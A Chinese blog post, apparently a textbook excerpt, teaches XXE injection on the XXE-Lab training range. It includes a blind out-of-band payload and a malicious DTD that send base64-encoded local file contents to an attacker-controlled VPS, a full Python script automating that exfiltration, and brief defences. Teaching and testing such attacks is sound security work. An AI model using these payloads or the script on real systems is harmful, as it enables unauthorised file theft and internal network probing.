外部实体注入漏洞

本文详细介绍了XXE漏洞的两种类型(有回显和无回显),并通过Python脚本实现无回显XXE的自动化检测。同时,提出了针对XXE漏洞的防御策略,包括禁止外部实体解析和对用户提交的XML数据进行过滤。
摘要由CSDN通过智能技术生成

 

 

当允许引用外部实体时,会造成外部实体注入(XXE)漏洞。通过构造恶意 内容,就可能导致任意文件读取、系统命令执行、内网端口探测、攻击内网网站 等危害。本节介绍针对XXE漏洞的检测和防御方法。

 

 

 

 

 

 

5.2.1    简介

 

根据回显情况,XXE漏洞可分为如下两种:

·有回显的XXE。

· 无回显的XXE。

这里以XXE-Lab靶场作为目标进行漏洞演示,靶场如图5-1所示。

97fc4534139b41b2bfa77f96cce235d6.png

图5-1    XXE-Lab靶场

先进行有回显XXE的演示。我们先在靶场服务器的C盘下新建一个test.txt ,内 容为“hello hacker!!!ℽ , 然后通过BurpSite进行登录抓包,数据包内容如下所   示:

 

 

 

 

 

8f6d605a10e84b1da1bd3ce15728ff1c.png

构造Payload对靶场服务器C盘下的test.txt文件进行读取,如下所示:

ffb81230e69044b4a4a0b08e9162f766.png

然后,进行无回显XXE的演示。在这之前,我们要关闭靶场的信息输出。打 开靶场目录下的php_xxe/doLogin.php文件,进行如下操作:

1)注释掉echo$result。

2)增加“error_reporting(0);”。

再次进行注入,服务不会返回任何信息,如下所示:

979bb43a219c4913b607776d6d8b542c.png

对于无回显的XXE ,我们需要构建一条带外数据(Out-of Band ,OOB)通道

 

 

 

来读取数据。思路如下:

1)攻击者先发送Payload1给Web服务器。

2)Payload1触发Web服务器,Web服务器向VPS获取恶意DTD ,并执行 Payload2。

3)Payload2使Web服务器把结果作为参数来访问VPS上的HTTP服务。

4)攻击者通过VPS的HTTP访问记录得到结果。

攻击过程如图5-2所示。

我们在VPS上创建名为evil.xml的恶意DTD文件,并将其放在apache 的网页目 录下,同时开启apache服务。

evil.xml内容如下:

b981b138c4814fea9493516f443b4806.png

 

20230724024159.png?origin_url=file%3A%2F%2F%2FC%3A%5CUsers%5Clenovo%5CAppData%5CLocal%5CTemp%5Cksohtml9832%5Cwps394.png&pos_id=xzaeE6fe

20230724024159.png?origin_url=file%3A%2F%2F%2FC%3A%5CUsers%5Clenovo%5CAppData%5CLocal%5CTemp%5Cksohtml9832%5Cwps395.png&pos_id=2Fsd80Iz

< !ENTITY % payload "< !ENTITY % send content=%file; '>"> %payload;

SYSTEM 'http://192 .168 .61 .130/?

20230724024159.png?origin_url=file%3A%2F%2F%2FC%3A%5CUsers%5Clenovo%5CAppData%5CLocal%5CTemp%5Cksohtml9832%5Cwps396.png&pos_id=2NAUryJs

20230724024159.png?origin_url=file%3A%2F%2F%2FC%3A%5CUsers%5Clenovo%5CAppData%5CLocal%5CTemp%5Cksohtml9832%5Cwps397.png&pos_id=V0J8sMSw

图5-2    攻击过程

在VPS上开启对apache访问日志的监控,如下所示:

32277586cffd44369456747427756af1.png

 

 

 

在登录的数据包中构造如下Payload 。其中,参数实体file 的内容为要读取文 件的内容经过Base64编码后的结果,参数实体dtd为VPS上evil.xml的URL地址:

<?xml version="1 .0"?>

< !DOCTYPE test[

< !ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=c: /test.txt">

< !ENTITY % dtd SYSTEM "http://192 .168 .61 .130/evil.xml">

%dtd;

%send;

]>

数据包中的内容如下所示:

8fff528604004ef0b93172e83aab9648.png

我们点击发送这个数据包,就可以在VPS上看到HTTP访问记录,如下所示:

84a85ae6b6f446fab3094465f616d8e2.png

对content的内容进行Base64解码将得到文件内容,如图5-3所示。

 

 

 

 

 

4359e67e72bb494b8087c8b4dfc51789.png

图5-3    内容进行解码

 

 

 

 

 

 

5.2.2    检测方法

 

在目标服务器无回显的情况下,只能通过OOB信息传送来进行XXE攻击,但 实际的操作过程则比较烦琐,本节针对无回显的XXE ,通过Python脚本来实现流 程自动化。具体步骤如下:

1)写入脚本相关信息和模块:

 

#!/usr/bin/python3

# -*- coding: utf-8 -*-

 

from http .server import HTTPServer,SimpleHTTPRequestHandler

import threading

import requests

import sys

2)编写攻击Payload的生成函数,能够根据给定的IP地址和端口生成相应的 包含恶意DTD的XML文件:

def ExportPayload(lip,lport) :

file = open( 'evil.xml ', 'w ')

file .write("< !ENTITY % payload \"< !ENTITY % send SYSTEM 'http://{0} :

{1}/?content=%file; '>\"> %payload;" .format(lip, lport))

file .close()

print("[*] Payload文件创建成功!")

3)编写HTTP服务函数,通过http.server模块实现HTTP服务,用来监听目标 服务器返回的数据:

 

# 开启HTTP服务,接收数据

def StartHTTP(lip,lport) :

# HTTP监听的IP地址和端口

serverAddr = (lip, lport)

httpd = HTTPServer(serverAddr, MyHandler)

print("[*] 正在开启HTTP服务器 :\n\n================\nIP地址 :{0}\n端口 :

{1}\n================\n" .format(lip, lport))

httpd.serve_forever()

4)编写POST发送函数,用来向目标服务器发送攻击数据:

# 通过POST发送攻击数据

def SendData(lip, lport, url) :

# 需要读取的文件的路径(默认值)

filePath = "c:\\test.txt"

while True:

# 对用户输入的文件路径斜杠的替换

filePath = filePath.replace( '\\ ', "/")

data = "<?xml version=\"1 .0\"?>\n< !DOCTYPE test[\n< !ENTITY % file

SYSTEM \"php://filter/read=convert.base64-encode/resource={0}\">

 

 

 

 

 

\n< !ENTITY % dtd SYSTEM \"http://{1} :{2}/evil.xml\">\n%dtd;

\n%send;\n]>" .format(filePath, lip, lport)

requests .post(url, data=data)

# 继续接收用户的输入,读取指定文件

filePath = input("Input filePath :")

 

5)定义一个消息处理类,这个类继承自SimpleHTTPRequestHandler 。同时需 要对原生的日志消息函数进行重写,使其在输出访问信息的同时,把访问的信息 记录到文件中去(该函数位于BaseHTTPServer.py中):

# 对原生的log_message函数进行重写,在输出结果的同时把结果保存到文件中

class MyHandler(SimpleHTTPRequestHandler) :

def log_message(self, format, *args) :

# 终端输出HTTP访问信息

sys .stderr .write("%s - - [%s] %s\n" %

(self.client_address[0],

self.log_date_time_string(),

format%args))

# 保存信息到文件

text File = open("result.txt", "a")

text File .write("%s - - [%s] %s\n" %

(self.client_address[0],

self.log_date_time_string(),

format%args))

text File .close()

6)编写主函数,在其中进行相关变量的定义以及函数的调用:

if __name__ == '__main__ ' :

# 本机IP

lip = "192 .168 .61 .130"

# 本机HTTP监听端口

lport = 3344

# 目标网站提交表单的URL

url = "http://192 .168 .61 .134/xxe-lab/php_xxe/doLogin .php"

# 创建Payload文件

ExportPayload(lip, lport)

# HTTP服务线程

threadHTTP = threading .Thread(target=StartHTTP,args=(lip, lport))

threadHTTP .start()

# 发送POST数据线程

threadPOST = threading .Thread(target=SendData,args=(lip, lport, url)) threadPOST .start()

脚本运行过程如下所示:

 

 

 

 

 

8aa693abee8a442c9b88c123d36caaac.png

脚本运行结果如图5-4所示。

fe3de50fec944c4ab7bf0f23d3384717.png

图5-4    内容解码

HTTP访问记录会自动保存在result.txt文件中,如下所示:

939befd8d9db497d9794edf61bf6a6ea.png

 

 

 

 

 

 

5.2.3    防御策略

 

XXE的危害不仅在于攻击服务器,还能通过XXE进行内网的端口探测以及攻 击内网网站等。下面介绍几种关于XXE漏洞的防御方式。

· 默认禁止外部实体的解析。

·对用户提交的XML数据进行过滤,如关键词<!DOCTYPE和<!ENTITY或 者SYSTEM和PUBLIC等。

 

 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Lyx-0607

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值